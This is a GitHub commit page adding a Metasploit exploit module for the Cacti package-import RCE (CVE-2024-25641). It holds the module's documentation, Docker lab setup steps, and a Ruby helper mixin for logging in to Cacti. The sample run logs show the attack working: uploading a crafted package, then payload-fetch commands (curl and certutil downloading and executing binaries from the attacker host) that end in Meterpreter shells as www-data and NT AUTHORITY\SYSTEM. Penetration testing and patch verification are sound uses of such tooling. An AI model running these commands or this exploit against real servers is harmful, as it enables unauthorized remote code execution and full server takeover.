Skip to content

Commit

Permalink
Land #19196, Cacti import package RCE
Browse files Browse the repository at this point in the history
This exploit module leverages an arbitrary file write vulnerability
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
abuses the Import Packages feature to upload a specially crafted package
that embeds a PHP file.
  • Loading branch information
jheysel-r7 committed Jun 12, 2024
2 parents 7031e0c + 45815a4 commit b9b638d
Show file tree
Hide file tree
Showing 4 changed files with 742 additions and 80 deletions.
284 changes: 284 additions & 0 deletions documentation/modules/exploit/multi/http/cacti_package_import_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,284 @@
## Vulnerable Application

This exploit module leverages an arbitrary file write vulnerability
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It abuses
the `Import Packages` feature to upload a specially crafted package that embeds
a PHP file. Cacti will extract this file to an accessible location. The module
finally triggers the payload to execute arbitrary PHP code in the context of
the user running the web server.

Authentication is needed and the account must have access to the `Import
Packages` feature. This is granted by setting the `Import Templates` permission
in the `Template Editor` section.


## Installation

### Docker installation of Cacti version 1.2.26
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
- `docker-compose.yml`:
```
version: '2'
services:
web:
build: ./cacti
ports:
- "8080:80"
depends_on:
- db
entrypoint:
- bash
- /entrypoint.sh
volumes:
- ./entrypoint.sh:/entrypoint.sh
command: apache2-foreground
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cacti
```
- `entrypoint.sh`:
```
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
```
- Create a `./cacti/` directory with `mkdir cacti`
- Add the following files in the `./cacti/` folder (based on the files from
[here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
- `Dockerfile`:
```
FROM php:7.4-apache
RUN apt-get update && \
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
docker-php-ext-configure intl &&\
docker-php-ext-configure pcntl --enable-pcntl &&\
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
RUN mkdir /var/www/html/cacti &&\
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.26.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
```
- `cacti.ini`
```
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
```
- `config.php`
```
<?php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
```
- Run `docker-compose up`
- Access http://127.0.0.1:8080
- Login with the `admin` user (password: `admin`)
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)

Note that other versions can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.26.tar.gz`).


### Cacti on Windows
Download and run a Cacti installer from
[here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password
should be put in a file called `Cacti-Passwords.txt` by the installer, which is
in the same location the installer was run.
Follow the same installation steps as for the Docker installation.


### Setup a new user
- Login with the `admin` user (password: `admin`)
- Go to `Configuration` > `Users`
- Click on the `+` sign
- Enter the `User Name`, `Password` and check the `Enabled` option.
- Click `Create`
- Go to the `Permissions` tab and set the `Import Templates` permission in `Template Editor`
- Click `Save`


## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use multi/http/cacti_package_import_rce`
1. Do: `set target <target>`
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
1. You should get a shell.

## Options

### USERNAME
The user to login with (default `admin`).

### PASSWORD
The password to login with (default `admin`)


## Scenarios

### Cacti version 1.2.26 on Docker installation
- Target 0 (PHP)
```
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.101.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Sending stage (39927 bytes) to 192.168.101.1
[+] Deleted /var/www/html/cacti/resource/jGbP1O.php
[*] Meterpreter session 1 opened (192.168.101.1:4444 -> 192.168.101.1:62197) at 2024-05-22 15:28:24 +0200
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 087c6bbb8c7d
OS : Linux 087c6bbb8c7d 6.6.22-linuxkit #1 SMP PREEMPT_DYNAMIC Fri Mar 29 12:23:08 UTC 2024 x86_64
Meterpreter : php/linux
```

- Target 1 (Linux Command)
```
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678
[*] Command to run on remote host: curl -so ./AynGghlaARy http://192.168.101.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./AynGghlaARy; ./AynGghlaARy &
[*] Fetch handler listening on 192.168.101.1:8080
[*] HTTP server started
[*] Adding resource /DETWAARvN-XS_WA2cHnmIg
[*] Started reverse TCP handler on 192.168.101.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Client 192.168.101.1 requested /DETWAARvN-XS_WA2cHnmIg
[*] Sending payload to 192.168.101.1 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.101.1
[+] Deleted /var/www/html/cacti/resource/R4imZxgqN.php
[+] Deleted /var/www/html/cacti/resource/AynGghlaARy
[*] Meterpreter session 3 opened (192.168.101.1:4444 -> 192.168.101.1:62224) at 2024-05-22 15:29:31 +0200
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.19.0.3
OS : Debian 11.5 (Linux 6.6.22-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Cacti version 1.2.26 on Windows Server 2019
- Target 0 (PHP)
```
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.101.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Sending stage (39927 bytes) to 192.168.101.124
[+] Deleted C:/Apache24/htdocs/cacti/resource/WPo04nIf.php
[*] Meterpreter session 2 opened (192.168.101.1:4444 -> 192.168.101.124:54654) at 2024-05-22 15:28:56 +0200
meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo
Computer : DC02
OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64
Meterpreter : php/windows
```

- Target 2 (Windows Command)
```
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678
[*] Command to run on remote host: certutil -urlcache -f http://192.168.101.1:8080/Qy-qOX10kZIXJGk3Q336Lg %TEMP%\cpOhjtfIddh.exe & start /B %TEMP%\cpOhjtfIddh.exe
[*] Fetch handler listening on 192.168.101.1:8080
[*] HTTP server started
[*] Adding resource /Qy-qOX10kZIXJGk3Q336Lg
[*] Started reverse TCP handler on 192.168.101.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Client 192.168.101.124 requested /Qy-qOX10kZIXJGk3Q336Lg
[*] Sending payload to 192.168.101.124 (Microsoft-CryptoAPI/10.0)
[*] Client 192.168.101.124 requested /Qy-qOX10kZIXJGk3Q336Lg
[*] Sending payload to 192.168.101.124 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 192.168.101.124
[+] Deleted C:/Apache24/htdocs/cacti/resource/9PxU2R.php
[*] Meterpreter session 4 opened (192.168.101.1:4444 -> 192.168.101.124:54669) at 2024-05-22 15:30:20 +0200
[!] This exploit may require manual cleanup of 'C:/Apache24/htdocs/cacti/resource/cpOhjtfIddh' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC02
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MYLAB
Logged On Users : 9
Meterpreter : x64/windows
```
108 changes: 108 additions & 0 deletions lib/msf/core/exploit/cacti.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
# -*- coding: binary -*-
###
#
# This mixin provides helper methods for Cacti
#
###

module Msf
module Exploit::Cacti

include Msf::Exploit::Remote::HttpClient

class CactiError < StandardError; end
class CactiNotFoundError < CactiError; end
class CactiVersionNotFoundError < CactiError; end
class CactiNoAccessError < CactiError; end
class CactiCsrfNotFoundError < CactiError; end
class CactiLoginError < CactiError; end

# Extract the version number from an HTML response
#
# @param html [Nokogiri::HTML::Document] The HTML response
# @return [String] The version number
# @raise [CactiNotFoundError] If the web server is not running Cacti
# @raise [CactiVersionNotFoundError] If the version string was not found
def parse_version(html)
# This will return an empty string if there is no match
version_str = html.xpath('//div[@class="versionInfo"]').text
unless version_str.include?('The Cacti Group')
raise CactiNotFoundError, 'The web server is not running Cacti'
end
unless version_str.match(/Version (?<version>\d{1,2}[.]\d{1,2}[.]\d{1,2})/)
raise CactiVersionNotFoundError, 'Could not detect the version'
end

Regexp.last_match[:version]
end

# Extract the CSRF token from an HTML response
#
# @param html [Nokogiri::HTML::Document] The HTML response to parse
# @return [String] The CSRF token
def parse_csrf_token(html)
html.xpath('//form/input[@name="__csrf_magic"]/@value').text
end

# Get the CSRF token by querying the `index.php` web page and extracting it
# from the response.
#
# @return [String] The CSRF token
# @raise [CactiNoAccessError] If the server is unreachable
# @raise [CactiCsrfNotFoundError] If it was not possible to get the CSRF token
def get_csrf_token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
raise CactiNoAccessError, 'Could not access `index.php` - no response' if res.nil?

html = res.get_html_document
csrf_token = parse_csrf_token(html)
raise CactiCsrfNotFoundError, 'Unable to get the CSRF token' if csrf_token.empty?

csrf_token
end

# Log in to Cacti. It will take care of grabbing the CSRF token if not provided.
#
# @param username [String] The username
# @param password [String] The password
# @raise [CactiNoAccessError] If the server is unreachable
# @raise [CactiCsrfNotFoundError] If the CSRF token was not provided and it was not possible to retrieve it
# @raise [CactiLoginError] If the login failed
def do_login(username, password, csrf_token: nil)
if csrf_token.blank?
print_status('Getting the CSRF token to login')
begin
csrf_token = get_csrf_token
rescue CactiError => e
raise CactiLoginError, "Unable to login: #{e.class} - #{e}"
end

vprint_good("CSRF token: #{csrf_token}")
end

print_status("Attempting login with user `#{username}` and password `#{password}`")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'__csrf_magic' => csrf_token,
'action' => 'login',
'login_username' => username,
'login_password' => password
}
)
raise CactiNoAccessError, 'Could not login - no response' if res.nil?
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302

print_good('Logged in')

nil
end

end
end
Loading

0 comments on commit b9b638d

Please sign in to comment.